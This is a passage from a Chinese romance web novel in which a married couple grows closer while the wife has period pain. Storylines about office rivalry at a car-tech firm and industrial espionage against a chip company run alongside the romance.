他软着?语气、温温柔柔地问需要他做什么的此刻,不知缘由的委屈、无处发泄的脾气烟消云散。 从不示弱的林姰,半张脸都埋在被子里,只露出一双黑白分明?的眼?睛,一眨不眨盯着?人看,闷闷说了句:“都好?。” 原来…… 原来就算是?刺猬,喜欢一个人的时候,也只会露出软软的肚皮,生怕让他受伤。 裴清让把她没找到止疼药、温水放在床头矮柜上,除此之外,还有一份软糯香甜的红糖红豆年糕,他还是?重新给她做了早饭,年糕烤过颜色焦黄,红豆煮得软烂,即使她说不需要。 林姰的视线,从他默不作声准备好?的一切,到他清冷英俊看不出情绪的面孔,他大概是?怕她觉得男生懂这些很奇怪,主动解释:“我有照顾妹妹的经验。” 他又拿起她床边的热水袋去注入热水,回来的时候,怕太烫,还在热水袋的保护套外面、又包了一层毛巾,叮嘱她:“小心?低温烫伤。” 好?像从小到大,即使是?自己的妈妈,也没有这样?照顾过她。 她记得自己第一次痛经,疼得没有办法起床上学,崔女士告诉她吃止疼药就可?以,又说,我生你的时候开到了十指。 也记得高一刚开学的时候,她疼得额头都是?虚汗,是?同桌的男生把外套递给自己,又默不作声起身去关了窗户。 而现在那个男生,就在自己面前。 他剪过头发,额前碎发不遮眉眼?,鬓角修剪整齐,脸部线条干净利落,有种介于少年和男人之间的气质,那双眼?睛却没有变过,一如既往清透、一尘不染。 她以为记忆里关于他的画面很少,现在才发现,每一帧都让人 很难忘。 林姰吃掉那份红豆年糕,如同吞掉一颗暖融融的小太阳,慢慢驱散体内的寒气。 她缩回被子里,安静等着?止痛药起效,散开的长?发凌乱也柔软铺开在枕头上,显得皮肤细腻如瓷。那双看向裴清让的眼?睛,没有任何防备,剔透如宝石,流露出自己全然不知的依赖。 裴清让照顾自己这个结婚搭子都如此温柔,那照顾裴樱的时候呢? 她好?羡慕裴樱有这样?的哥哥,颇认真地跟裴清让商量:“真的不考虑再养一个妹妹吗?” 裴清让不知道林姰对给他当妹妹这件事、是?有什么执念:“你在想些什么?” 林姰眼?睛亮亮的:“好?多?女生都想有个哥哥,你这样?的应该属于‘梦中情哥’的配置。” 男人冷白皮、个子高、头脑顶尖、脸蛋漂亮,随便做点什么都能做到头部玩家的位置。 她忍不住想象,如果裴清让真的是?她哥哥,穿黑西装白衬衣开车去学校接她,那得有多?吸引眼?球? 只是?,幻想刚刚有了个雏形就破灭,因为裴清让毫不犹豫言简意赅地拒绝:“不考虑。” 林姰嘴角瘪了瘪,但是?并?不放弃跟裴清让推销自己:“我可?以吃很少,也很乖,学习也很省心?。” 裴清让居高临下看着?她,没笑,嘴角平直下颌棱角锋利,修剪过的鬓角整齐但是?发茬很短,显出几分动人的少年气:“老公和哥哥,你选一个。” 简简单单两个词从他漂亮的嘴里说出来,就对她产生致命吸引力。 换做之前,林姰肯定毫不犹豫选后者,她可?太想有一个又高又帅对别人冷脸但对自己温柔的哥哥了,她可?以仗着?自己年纪小为所欲为,可?是?现在,她已?经知道自己喜欢裴清让。 曾经大大咧咧对着?裴清让那张冷淡俊脸叫“老公”,现在却做不到像以前坦然,因为她心?里有鬼。 所以她避之不答,而是?问裴请让:“有区别吗?” 她躺着?,裴清让站在床边,这种从下往上看的死亡角度,那张英俊面孔依旧非常能打,眉骨高耸,鼻梁挺直而下颌棱角分明?,脖颈和喉结的漂亮线条一览无余,视角的关系,显得人很傲气。 裴清让声音没有情绪,冷冷的但是?很好?听:“如果是?裴樱,我现在会带上门离开。” 就算是?自己从小带大的妹妹,也男女有别,况且裴樱宁可?对着?游戏里的男主也不想面对亲哥覆着?冰雪的冷脸。 视线相对,林姰下意识屏住呼吸:“如果是?前者呢?” 裴清让修长?的脖颈上喉结有一下没一下的滚动着?,散漫不羁。 他微俯身,低头靠近的时间里,清隽深刻的五官在她眼?前放大,林姰屏住呼吸,氧气在急剧抽离。 而他手撑在她枕头旁边的位置,薄唇轻轻吻上她的脸颊,就只是?清浅的触碰,她的睫毛已?经在止不住地颤抖。 棉被之下的手指紧紧攥住床单,她能感?受到嘴唇的湿润柔软,和他挺直的鼻梁抵在脸颊的触感?,雪后清冽的气息铺天盖地。 呼吸缱绻交织,近距离和那双漆黑深邃的眼?睛对视着?,简直勾魂摄魄,这人睫毛长?得令人发指,仿佛能直直戳到她的心?尖。 “如果需要的话,我可?以在这里陪你,”裴清让薄唇翕动,语气温柔到蛊惑,“选哪个?” 怎么会有人,看起来完全是?个禁欲系高岭之花,勾引人的时候毫不手软——又或者是?他根本意识不到自己在勾引人。 林姰目眩神迷,脸颊也要变成?绵软的红豆年糕,偏偏他的手在她脸颊和耳朵的交际,指腹摩挲,带起一阵难以言说的酥麻痒意——裴清让接吻的时候喜欢这样?,手不会放在她的腰上,也不会乱碰,会很认真地捧着?她的脸、抬高她的下颌,让她觉得自己被珍视、被放在心?上。 心?脏像是?火山口?的那一捧雪,融化沸腾的速度飞快,脸颊被他吻过的位置在无可?救药地发烫,热意翻了天,林姰的声音都被烫得绵软:“那我选老公吧。” 不是?十几岁的小孩子,也没少接过吻,甚至在接吻停留在非常纯情的碰碰嘴唇的时候,她人为地把进度条拉快了,是?第一次,被他亲吻嘴唇以外的地方,纯情得要命,那无关情欲的珍而重之,让人心?跳怦然。 如果他们?的关系被裴清让掌控,恐怕现在连手都没牵到,纯爱战士还是?那个纯爱战士。 她这样?胡思乱想着?,他已?经在她旁边坐下,那宽阔平直的肩背很直,往下腰线收窄,让人非常想要抱上去。 想要他陪着?、霸占他的时间、让他改掉原本的周日计划,林姰其实是?有些抱歉的:“以前年纪小的时候没什么感?觉,现在体会到了被激素控制的恐怖。” 总有人用“你是?不是?来大姨妈了”,暗讽一个女生没事找事、情绪化,其实这个周期受体内激素影响,情绪低落,根本不受自己控制。 裴清让垂眸,很耐心?地听她讲话。 林姰抿唇:“生理期的时候,会因为一点点小事情绪崩溃、委屈,当然也有可?能,是?我性?格本来就差。” 裴清让听了,淡淡道:“有没有一种可?能,是?你本来就受了很多?委屈,情绪在你最脆弱的时候开始攻击你。” 他下定论,如同陈述一个证明?过千万遍的数学定理那样?、不容置疑:“心?情不好?不是?你的错。” 第一次有人对林姰说:心?情不好?不是?你的错。 他好?像总是?可?以站在她这一边,米饭煮成?稀饭是?米不好?,炒青菜掌握不好?火候是?锅不懂事,而她生理期情绪化,也不是?她责备自己的理由。 她觉得自己又开始情绪化了——因为她的鼻子有些泛酸。 裴清让垂眼?问她:“还需要什么?” 林姰对上他如水清澈的目光,脑海蓦地冒出一个念头:还需要把你占为己有。 这么好?又这么好?看的人,怎么能是?别人的呢? 高中的时候她为什么没有下手,不然十六七岁就可?以在课桌下拉拉小手了! 林姰眨了眨眼?,因为睫毛太长?显得扑闪扑闪的:“选老公的话,能不能抱?” 她觉得自己可?能有点得寸进尺,但是?不试试怎么知道? 搬来一起住之后,她睡的这张床是?客房的单人床,虽然在云南的时候他们?也同床共枕,但那张床中间再睡一个人也没有问题,而现在…… 裴清让抿唇:“你往旁边一点。” 林姰“哦”了声,把自己卷成?蚕蛹,非常温顺地往旁边一滚。 裴清让在她旁边躺下,这人看起来高高瘦瘦的,躺下才发现两人的体型差真的非常明?显,林姰有些意外,他怎么会这么大一只?逼仄狭窄的床铺格外凸显出他的存在感?,根本无法忽视。 他躺好?之后,枕着?手臂朝向她,这个角度领口?格外松散,脖颈处白得不见阳光的皮肤、和平直深陷的锁骨形成?强烈视觉冲击,隐隐约约能看到淡青色的血管,蔓延至衣领深处看不见的地方。 裴清让薄唇微掀:“你想怎么抱?” 那眼?神还是?冷,干净透亮,但是?白皙耳际已?经在泛红,让他看起来非常秀色可?餐。 林姰的心?跳很快,砰砰砰的每一声都敲击在她的耳膜,她甚至怀疑裴清让能听见。 她小心?翼翼往裴清让的方向挪,直到额头能抵在他锁骨以下的位置,手从他身侧伸过去,绵软布料之□□温渗透,慢慢抱住裴清让的腰。 呼吸之间,都是?他身上清冽治愈的气息。 他的下巴抵着?她的发顶,语气放轻:“还疼吗?” 林姰脸埋在他怀里:“止疼药还要过一会儿才见效。” 好?半天没有声音,林姰抬头。 裴清让垂着?长?长?的睫毛:“是?不是?应该去医院看一下。” 可?能是?因为带过妹妹的关系,好?好?一个年轻帅哥,身上时不时出现点儿老父亲的特质。 林姰给他科普:“听说止疼药进入人体之后,并?不能精准地找到疼痛的部位,所以见到每一个器官,都要先问一下:是?你疼吗?所以不用担心?,它现在还在找位置呢。” 她故作轻快,即使脸颊和嘴唇都没有血色,额角的分不清是?冷汗还是?虚汗,偏偏还要弯出一个笑,让人宽心?。 明?明?是?非常柔软非常可?爱的一个人,要经历多?少苦痛才能长?出一层厚厚的茧,让自己无坚不摧? 林姰本意是?告诉裴清让这根本没什么,却见他眉心?蹙起,比开线上会议的时候还要严肃。 他问:“怎样?才能好?一点?” 市面上根本没有痛经的特效药,明?明?那么多?女孩子在为此煎熬。 林姰也不知道怎样?才能好?些,只是?觉得,裴清让比药有效,刚才他亲她的时候,她都忘记疼了。 今天的裴清让格外温柔,好?像说什么他都会答应,所以眼?下,她仗着?不舒服、恃宠而骄:“你抱我都没用力。” 他淡声:“知道了。” 原本在她肩侧松散垂着?的手臂收紧,慢慢把她按到自己怀里。 拥抱温暖密不透风,疼痛变得模糊遥远。 她应该见好?就收,不应该再得寸进尺了。 可?是?下一刻,不带情欲的吻落在她的眉心?。 她窝在裴清让怀里,听见他柔声说:“不准欺负我老婆。”第52章 第 52 章 接吻上瘾 昨天晚上林姰失眠、加上今天生理期肚子疼得厉害, 当呼吸之?间都是?裴清让身上清冽又安心的味道,她很快就睡着。 第?一次觉得,原来生理期也没那么糟糕, 之?前每次经期情绪敏感、委屈想哭的冲动,都变成满溢在胸腔的甜。 她喜欢即使冷着脸也温温柔柔的裴清让, 喜欢他俯身亲过来薄唇只?是?停留在脸颊, 喜欢在她抱怨之?前手臂规规矩矩垂在她肩侧, 在她主动之?前, 他从不逾矩。 恐怕以后, 每个下雨天都会想起那把撑过头顶的雨伞, 每个下雪的日子都会想起和?雪花一起落下的初吻, 每一次生理期、都要怀念他拥抱的力道和?怀里的温度。 他在身边,坚硬冷漠的世界仿佛也变成红豆年糕,温暖、软烫、呼吸之?间都是?甜的。 醒来时, 林姰才发现裴清让不知道什么时候也睡着了。 呼吸交织的距离,男人?额前碎发滑落, 睫毛柔软地覆着眼眼睑, 眉骨到鼻梁的弧度教?科书级别?的完美, 睡着时不冷淡也没有攻击性, 五官显出原本清隽俊秀的样子。 王子看?到睡美人?的时候, 心跳是?不是?就像她现在? 视线顺着又高又挺的鼻梁往下,是?很软很好亲的嘴唇,他皮肤白, 嘴唇天生就红,偶尔笑?到露齿完全就是?唇红齿白的具象化,不经意间透出的少年气特别?动人?。 林姰心跳怦然,想着, 这就是?她喜欢的人?。 她仰起脸,轻轻靠近,直到嘴唇触碰到他的嘴唇,柔软微凉的触感,好像吻落在了她的心尖。 裴清让眼睫轻颤。 耳边似有蝉鸣,眼前一片昏黄光影。 高一教?室里,趴在课桌上午休的他醒来,呼吸和?心跳却在下个瞬间凝滞。 林姰穿着夏季校服短袖,还在睡,朝向他的方?向,全然没有防备的样子,眉眼柔软、呼吸绵长,在午后的光线里脸颊绒毛清晰可见。 心跳在短暂停滞之?后,开始变得可以感知。 平时他从不会跟她一起趴在课桌上睡觉,最多是?单手撑着脑袋闭一会眼睛,而这一天他太困了,自己什么时候睡着的都不知道。 多看?一眼都觉得冒犯的人?,现在近在咫尺,他的目光顺着她的眉眼鼻梁,还想往下…… 再看?下去?未免过分,就在他想要收回视线的时刻,他的嘴唇被吻住了,温热的气息纠缠,缱绻交错。 裴清让睁开眼睛。 梦里不敢靠近的人?,与他鼻尖抵着鼻尖,嘴唇含着嘴唇,脸颊相贴的触感让人?悸动,忘记呼吸的那几秒钟,他甚至分不清梦境现实。 林姰亲得格外温柔,怕把裴清让吵醒,却又克制不住想要吻他的冲动,所以就只?是?蜻蜓点水的一小下。 而当她偷亲完、准备悄无声息缩回他怀里时,猝不及防跌入一双目光清明的眼。 她下意识捂住他的眼睛:“睡吧,刚才是?梦。” 男人?的眼睛被挡住,只?露出挺直鼻梁和?白皙下颌,嘴唇线条清晰,还红、还软,更加蛊惑人?心。 裴清让把她的手拿下来:“睁开眼睛的时候看?到你,我也以为在做梦。” “梦见我非礼你吗?”林姰心虚到不敢看?人?,声音也小,“什么时候醒的?” “在你亲上来的时候。” 裴清让把她脸侧的长发顺到耳后,手却没有离开,脸颊在慢慢升温,不知道是?因?为他抚摸脸颊的手指,还是?因?为未经允许擅自亲他。 好在裴清让的注意力不在自己被占便宜上面,他在意的是?:“还疼不疼?” 其实每次生理期,刚开始的半天最疼,后面虽然还是?不太舒服,但症状会慢慢减轻,这会已?经痛感轻微可以忍受。 但是?她很喜欢现在,裴清让听之?任之?、甚至是?很乖巧温顺地给?她抱,除了很纯情的抱抱,她还想更加得寸进尺一点。 所以,到底是?疼还是?不疼呢……林姰有点难办。 她的迟疑,被裴清让理解为还在疼,眉心拧起:“请医生来看?一下好不好?奶奶在医院工作,应该认识这方?面的专家。” 严重?了严重?了。 裴清让起身去?拿床头的手机准备打电话,被林姰攥住手指。 他垂眸,林姰早上没有血色的脸不知是?在他怀里闷的、还是?因?为不舒服,软着声音跟他商量:“要不,你亲我一下,试试能不能好点?” 那清亮的瞳孔里,竟然还有点跃跃欲试的意思。 裴清让微蹙眉,如?同?在看?一个乱下药方?的庸医,眼神将信将疑,仿佛在说:你确定这样可以? 林姰看?过一种说法,说再高冷的人接过吻后也会变成“亲亲怪”,而看?起来再目下无尘的男生,其实脑袋里也会想那些不太正经的东西。 可裴清让根本不是这样,他对亲密接触并不热衷,虽然已?经亲得很熟练,但那游刃有余里其实还有点儿少年人?的青涩。 几次都是她主动、而他听之任之?,完全就是?亲也行、不亲也可以,你怎么高兴怎么来,干净得像暴雨洗过的绿植、叶子上挂着晶莹露水的那种,但身上那种任君采撷的劲儿又特别?勾人?。 比起接吻,他好像更喜欢有一下没一下地触碰她的脸颊,指腹摩挲,她的脸会红得很快。而接吻摸胸是?不可能发生在裴清让身上的,他甚至都不怎么抱她。 眼下,他放下手机,睫毛安静垂落,低下来的声音温柔到蛊惑人?心:“你想让我亲哪儿。” 他一只?手撑在她身侧,另一只?手在她脸侧,指腹无意识擦过她的耳垂,一阵让人?心悸的痒意瞬间顺着神经蔓延,如?同?明火点着牵连她所有感官的引线。 她在下,他在上,男人?低头吻上她的眉心:“这里吗?” 薄唇游移,顺着她的鼻梁往下,要亲不亲的却更让人?脸热,他吻上她的脸颊:“还是?这儿。” 裴清让捧着她的脸,一点一点往下亲,睫毛扫过脸颊的痒意,和?鼻梁抵着脸颊下滑的触感,变成顺着神经蔓延的酥麻。 吻到唇角时,林姰下意识屏住呼吸,把心脏憋得如?同?一只?快要爆炸的气球,手指下意识紧紧攥住他的T恤下摆。 忍不住睁开眼睛,男人?眉眼沉黑而肤色冷白,嘴唇又很红,俊美得如?同?蛊惑人?心的吸血鬼,她在温柔而磨人?的碰触中目眩神迷。 被吻住的那一刻,胸腔气球瞬间爆炸,变成脑海绽放的烟花,嘴唇被含住轻轻吮吸着,他好像从她的点滴的细微反应里知道了、怎么亲她她会喜欢。 干干净净,也温温柔柔。不止是?那点微不足道的疼,所有氧气都被抽离,林姰攥住他衣服的指尖也变得绵软没有力气。 裴清让放开她时,交织在一起的呼吸也变得潮湿, 他的嗓音不算清越:“有用吗?” 那双眼睛黑亮清冷,目光直白,林姰扛不住被他这样看?着,脸往他怀里埋,嘴唇因?被含吮太多次变得发麻,有如?仍在被他啃噬,耳朵尖红到滴血。 裴清让揉了揉她的脑袋:“饿不饿?” 其实是?有一点的,但她又不想松手,是?身体不舒服让她变得格外粘人?,还是?遇到喜欢的人?自动变成这样,林姰无从得知。 而后听见裴清让问:“我现在去?做午饭,还是?再抱一会儿?” 林姰闷声闷气:“再抱一会儿吧。” 裴清让抱起来太舒服,肌肤有干净温热的香气,胸肌练得恰到好处,腰腹又很紧实、没有一丝赘余,抱上去?才发现比想象中细、也比想象中硬。 下次再想抱着他睡觉,要用什么理由呢? 下次生理期肚子疼,可不可以提前预约一下? 她抿了抿现在仍在充血的嘴唇:“下次……” 视线相对,裴清让温声:“下次疼的时候告诉我。” “然后呢?” “我会陪着你,如?果这样能让你舒服一些?的话。” 长这么大,林姰第?一次觉得生理期没那么可怕也没那么讨厌。 她的眼尾折出惊喜的弧度:“我就说你有读心术!” 怎么会有人?,这么了解她。 她都不用说话,他都能看?出她的想法。 “如?果有的话,可能也只?对你有效。” “还有,裴清让,你真的很好骗。” “骗我什么了?” 林姰亲得餍足,眉眼弯弯:“其实你亲我的时候我已?经不疼了。” 就是?想用这个理由骗他亲她,她有点得意又有点害羞,瞳孔亮晶晶,看?得裴清让眼尾微微弯,嘴角也忍俊不禁地勾起。 他说:“其实我也骗你了。” 林姰吃惊:“骗我什么了?” 裴清让起身,准备去?做午饭,最后俯身在林姰脸上捏了一下:“我也不是?因?为你不舒服才亲你的。” 林姰不依不饶:“那是?因?为什么?” 裴清让没回答,轻轻扬眉:“我去?做饭。” 当然是?,我本来就想这样做- 周末太过短暂,午饭后两人?一起打游戏、看?电影,时间过得飞快。 晚饭后遛狗,外面天冷,裴清让没让林姰一起,回家时不忘带回来今日份的鲜花,和?路边香甜的糖炒栗子烤红薯。 林姰笑?弯眼睛:“谢谢。” 她抿了抿唇,又小声补充:“老公。” 字音咬得又轻又快,生怕被人?听清似的。 裴清让微微一怔,轻笑?着应了句:“赚了。” 那双含笑?的眼睛似有清泉流动,漂亮得波光流转。 特别?温柔,特别?治愈。 只?不过,明天又要上班了。 林姰工作很忙,工作日按时下班都不能保证,而裴清让则是?隔三差五出差,完完全全腻在一起的周末,这还是?第?一个。 以至于在它快要结束时,林姰满心不舍。 洗完澡吹过头发,已?经晚上十点。 她记得自己去?英国的第?一个星期,因?为时差倒不过来头疼欲裂,裴清让回来没几天,她应该放他去?好好休息,早睡早起。 可是?她还想要跟他多待一会儿。 她能不能直接邀请他睡一个房间? 都不用想,就能猜到,裴清让肯定会冷冷淡淡、用那种“你在想什么”的眼神折磨她,又或者直接曲起手指敲她脑袋、让她清醒。 这时,裴清让也洗完澡出来,客厅的花香里混进了青草味道的沐浴露,湿漉漉氤氲开来,拂过她的鼻尖,弄得她莫名有些?心猿意马。 她非常礼貌地问:“你打算几点睡觉?” 裴清让垂下视线:“你想让我几点睡觉?” 林姰想要跟他多待一会儿,但是?现在肚子不疼了,人?也活过来了,根本找不到理由。 在她开口之?前,他的声音已?经从头顶落下:“你想让我几点睡觉都可以。” 清冷声线里尽是?纵容。 林姰:“为什么?” 裴清让:“因?为我也想和?你多待一会儿。” 林姰嘴角忍不住上扬,被齿尖咬住:“怎么看?出来的?” 怎么看?出来她是?想跟他多待一会儿? “不是?你说的吗,”裴清让抬手揉她脑袋,“我会读心术。” 他在身侧,长腿上放着笔记本,短袖下面的手臂清白修长、手背也有青筋的脉络,看?起来很有力。 这个人?的手指、手臂、身上的沐浴露味道,仿佛都对她有致命吸引,让她忍不住想要跟他亲亲抱抱贴贴。 不喜欢的时候可以肆无忌惮,喜欢的时候,裴清让的纯情似乎传染给?她,林姰觉得不能太放任自己。 于是?打开平板搜索:【接吻上瘾是?缺哪种维生素吗?】 页面跳转,最上面的是?一条科普视频,林姰从帆布包里拿出蓝牙耳机戴上。 如?此羞耻的内容,就不邀请裴清让一起听了,更何况,他并没有出现这种症状。 “接吻上瘾,是?因?为在接吻的时候,心灵获得满足感,心情愉悦……” 耳机里声音有些?小,耳朵被堵住一般,林姰默不作声把声音调大一格。 也就是?在这一刻,裴清让视线垂下,薄唇抿着,欲言又止,林姰嘴型:“我学习呢。” 她表情无辜,手指还是?很心虚地摸了摸耳机——没问题,耳机戴着呢,裴清让听不见。 视频科普有理有据:“这种愉悦,来自于接吻的时候会分泌的多巴胺、内啡肽和?肾上腺素等。” 啊,原来是?有科学依据的,不能怪她。 但是?,只?有她在分泌多巴胺、内啡肽、肾上腺素,裴清让都没有吗?为什么他可以如?此禁欲? 林姰继续搜索:【老公不主动接吻是?为什么?】 视频回答:“老公不主动接吻、夫妻生活不正常,试一试以下几种方?法……” 这都是?些?什么乱七八糟的,裴清让蹙眉:“林姰。” 被叫到名字,林姰莫名心惊:“怎么了吗?” 跟裴清让说话的时候,不忘把手机倒扣在腿上,防止被他看?到如?此羞耻的内容。 裴清让薄唇一掀:“你的蓝牙耳机没有连上。” 林姰眼睛瞪圆,瞳孔震颤,如?同?炸毛的猫咪。 所以从一开始,他就全部?听到了。 他那么聪明的人?,肯定也能猜到,她搜索的“接吻上瘾”说的是?她自己,而“老公不主动接吻”说的是?他。 脸颊如?同?被火烤着,林姰偷偷瞄了裴清让一眼,他白皙的耳朵也已?经以肉眼可见的速度红起来,修长脖颈上喉结冷淡凸起,漫不经心地滚动着。 既然已?经全部?听到了…… 林姰慢吞吞挪到他的身边。 她觉得裴清让对接吻这件事并不热衷,如?果他跟自己感受一样,接吻才有意义。 见她欲言又止,他淡淡道:“要问什么?” 这人?的读心术稳定发挥,林姰脸颊虽红,但是?目光坦坦荡荡:“就是?跟我亲亲的时候,你会觉得开心吗?” 裴清让显然是?没想到,这姑娘自己搜索还不算完、还要跟他交流一下接吻的感受,嘴角抿起,没有说话。 林姰把刚才看?到的知识复述给?他:“科学角度来讲,接吻的时候会分泌多巴胺、内啡肽、肾上腺素,所以会让人?觉得愉悦和?上瘾。” 裴清让一直都很照顾她的感受,总是?以她喜欢的方?式亲她,让她觉得哄她开心的成分更多,不像是?自己喜欢。 她自己也没想到,自己有一天,会跟裴清让这朵高岭之?花交流接吻感受:“你觉得,是?这样吗?” 裴清让被她弄得彻底没有脾气,无可奈何道:“不是?。” 难怪他都不主动,原来他亲她的时候没什么感觉啊…… 你情我愿的事,都喜欢都开心才有必要嘛。 林姰垂着脑袋,挫败极了,不自觉地叹了口气。 下一刻,裴清让把她的脸掰向他的方?向:“我是?说,如?果接吻这种行为让我开心、让我上瘾,不是?因?为内啡肽、多巴胺、肾上腺素。” 林姰蔫蔫的:“那是?因?为什么?” 裴清让淡漠清澈的瞳孔深处,只?有她一个人?的影子,他薄唇轻启,一字一顿顿告诉她:“只?能是?,因?为你。”第53章 第 53 章 会想起我 翌日, 周一。 林姰刚上班就听到消息,陈万豪那边搞3D语音助手搞得热火朝天。 远景销量惨淡让他在公司抬不起头,现在迫切想要将功补过, 刚到公司就跟方茂森一起去找辛城汇报。 陈志豪志得意满,辛城翻开他带来?的汇报材料, 越看脸色越黑, 最?后直接不屑地甩到办公桌上, 文件夹擦着桌边滑到地上。 “搞过市场调研吗?搞过竞品分析吗?你的创新?点和亮点在哪里?你凭什么觉得你能把对手干掉?” 陈万豪张了张嘴, 好半天什么都没说?出来?。 他直接从?林姰那里窃取来?的东西, 怎么可能有市场调研和竞品分析, 只是下意识觉得, 林姰在做的东西,就一定是好的。 “你觉得3D语音助手这?种被玩剩下的东西还?有做的必要吗?现在十个汽车品牌九个有3D语音助手,你以为缝缝补补东拼西凑搞出来?的东西能糊弄得了消费者?” 辛城训人的时候毫不收敛, 有人路过他办公室门口都被冷不丁吓得一哆嗦。 “别的不说?,你的远景能干过林姰手里的东恒吗?” 短短几分钟时间里, 陈万豪被吼出一脑门的汗, 他觉得这?骂他不能一个人挨, 必须得拉个垫背的:“林姰给东恒做的智能座舱, 也打算用3D语音助手……” 辛城眉心拧得死紧, 目光扫向方茂森:“你们产品部没有创意就只知道抄抄抄是吗?把林姰给我叫来?!” 林姰敲门三下,面无?表情:“辛总。” 辛城根本不给好脸色:“你也在做3D语音助手?” 林姰把汇报材料放到辛城面前,还?有一个黑色的、类似小机器人的摆件一起:“语音助手我们做成了实物。” 陈万豪目光错愕, 刘文文不是说?,林姰那边在做3D语音助手吗?甚至还?把所有资料都打包发给了他,所以今天他先?下手为强了…… 林姰按开一个按钮,小机器人接通电源, 紧接着显示屏亮了,响起非常可爱的卡通音:“你好,我是游游,需要我为你做点什么?” 故意让粥粥泄露给刘文文的3D语音助手资料,也是林姰花了很多心思准备的,但正如辛城所说?,做的人太多,不够亮眼,消费者反应平平,所以最?后狠心放弃。 现在实物版本和3D版本放在一起,高下立见,智能汽车上的语音助手,一直都是冷冰冰的机械音,在变成可以触摸的实物之后,就如同被赋予生命,观感立刻不同。 但林姰想不明白,为什么辛城会发这?么大的火。 眼下,辛城问:“样品你们做了几个?能不能先?在我的车上安装一下?” 对于领导的褒奖和贬低,林姰向来?情绪很淡,眼神?平静不见半分喜色:“没问题。” 辛城蹙眉瞥了眼陈万豪,嫌弃溢于言表:“做产品不动脑子,还?做什么产品?茂森,你说?是不是?” 方茂森大气?不敢出,辛城摆弄着实物语音助手:“远景上市销量惨淡,几乎是砸了乐游的招牌,我看万豪的团队就合并到林姰那边去吧,也多跟着林姰学点东西。” 这?下林姰明白了,原来?辛城对陈万豪的火气?是出在这?里——远景销量惨淡,狠狠打了他这?个分管产品的副总裁的脸,借语音助手这?件事发泄罢了。 她不想团队里多出一群废物,但也不能违抗命令。 说?白了,不管是她还?是陈万豪、方茂森,不过都是辛城手里的棋子,他看谁不顺眼了,就用另一个来?制衡、牵制,下属内斗无?心争权,上司的位置才能坐得稳。 苍梧科技。 李明启一改往常的嬉皮笑脸,面色凝重火急火燎,连门都没敲径直推开裴清让办公室的门。 几份资料往桌上一字码开:“高科刚上市的芯片产品,和我们即将上市的芯片高度相?似,今天他们刚开完新?闻发布会,说?明除了被他们挖走的人,苍梧内部现在还?有内鬼,在我们发现之前他们就已经在布局了!” 裴清让垂眸,白纸黑字将对方产品性能列得一清二楚,跟多日前他经手签名?的文件一模一样。 他没说?话,浓密眼睫之下,瞳孔沉冷令人胆寒。 只要苍梧芯片上市,高科就会脏水泼过来?,诬陷苍梧抄袭高科,精力要全?部拿来?自证。 倘若不上市,抛开研发费用这?些冰冷的数字不讲,还?有多少人的心血就要被毁于一旦。 可是证据呢? 李明启忍不住骂了句脏话:“他们当年不就是这?样对你导师的吗?说?你导师担任首席技术官期间窃取高科机密,阻止他回国建立自己的芯片工作室!” 裴清让的声音冷透了:“报案。” 李明启点头,找回一丝理智:“还?有光刻机的事情,AM公司说?交货日期要延后,他们宁可违约赔偿天价违约金。” 苍梧现在在非常关键的时期,刚自研3纳米芯片成功,但是苍梧能研发设计却没有量产条件,能代工3纳米芯片的,全?球就只有AM一家,而AM背后最大的股东是高科。 倘若苍梧芯片量产成功,就能彻底打破国内市场被进口芯片垄断的局面,所以现在高科势必要弄死苍梧,让国产芯片胎死腹中?。 裴清让垂着眼,不知道在想什么,再?次看向李明启的瞬间,顷刻恢复一如往常的冷淡平静——这?人的情绪从?来?没有失控过,总能直接跳过情绪波动、来?到解决问题这?一环节。 他淡声:“我去一趟AM。” 李明启手撑在他的办公桌上,因为过分激动手臂青筋暴起:“你忘了你导师的事情了?一个清清白白的芯片专家被泼了一身脏水抑郁而终,自杀的时候才49岁!见不得人的手段高科多了去了,说?不定直接给你装麻袋扔进海里!” 裴清让笑了,嘴角牵起的弧度异常漂亮,眼神?却冰冰冷冷:“那不是正好?新?账旧账一起算一算。” 他在无?数个午夜梦回回到导师被捕的那天,无?数次设想,如果回国的是老师,而不是他这?个庸才。 “那苍梧怎么办?” “我早就想退休了。” 李明启蹙眉,他从?没听裴清让说?过这?些:“你想卸任做什么?” 裴清让平静的语调相?当认真:“我想去做我导师生前做的事情。” 李明启震惊,这?么大一家上市公司,估值仍在疯涨,他竟然可以说?不要就不要吗? 他又问:“那裴樱怎么办?” 裴清让勾着嘴角,好笑道:“能不能别说?的我要去送死一样?现在是法治社?会。” 李明启眼睛都气?红了:“你导师那时候也是法治社?会!” 裴清让的声音软下来?:“裴樱只要不随便创业,这?辈子吃喝不愁,而且还?有谢珩,谢珩不会不管她的。” 李明启缓缓看向他的眼睛:“那林姰呢?林姰你舍得?” 裴清让没有说?话。 对林姰来?说?,裴清让就只是一个长得还?行、亲起来?还?不错的男的。 没什么特别,也并不重要,即使她开始慢慢习惯他的存在,但充其量也只有一点点难忘。 如果他真的遇到什么事…… 她应该也可以很快忘记- 从?辛城办公室里出来?,林姰脸上没有什么表情。 赵然问:“今天心情不错?” 林姰惊讶:“怎么看出来?的?” 赵然:“辛城把陈万豪那颗老鼠屎合并到咱们团队,你都没生气?。” 林姰歪了歪脑袋:“为什么要为不值得的人和事浪费心思呢?” 赵然:“那应该为什么浪费心思?” 林姰扬眉,当然得是喜欢的人啊。 她点开喜欢的人的对话框。 裴清让在的时候,时间根本无?法感知。 裴清让不在的时候,工作日格外?漫长。 她好想现在就下班回家,抱抱狗狗,再?亲亲他。 喜 欢一个人的心情是这?样吗? 她体会到前所未有的雀跃、心动、开心,当然也有胆怯、羞涩、小心翼翼,心脏被填得满满当当,想起他的时候愿意原谅全?世界。 为什么那天在书店,裴清让说?喜欢人会难过,让她当被喜欢的那个? 是他喜欢的人让他很受伤吗?他不如喜欢她好了,她保证她不会让他难过的。 她发消息给他:【在干嘛?】 没想到他会秒回,言简意赅:【等?人。】 什么人架子这?么大,竟然敢让他等?。 林姰问:【男生女生?】 裴清让:【女生。】 是合作伙伴吧? 林姰有点不想说?话,顿了顿,还?是发出去一句:【漂亮?】 裴清让:【很漂亮。】 漂亮就漂亮了,这?个“很”是怎么回事? 林姰气?呼呼扔下一句:【那你等?吧。】 裴清让的消息发过来?:【我在楼下。】 胸口如同有一只振翅的蝴蝶,让她脚步轻盈,心脏已经先?她一步飞远。 林姰急匆匆拎起大衣下楼,果然见公司的停车位上多了一辆相?当扎眼的黑色越野车。 她打开副驾车门坐进去,被驾驶座的西装帅哥帅得倒抽一口冷气?。 裴清让穿正装,黑色西装白色衬衣,领带压在喉结下方,一丝不苟的模样让人更想作乱更想亵渎。 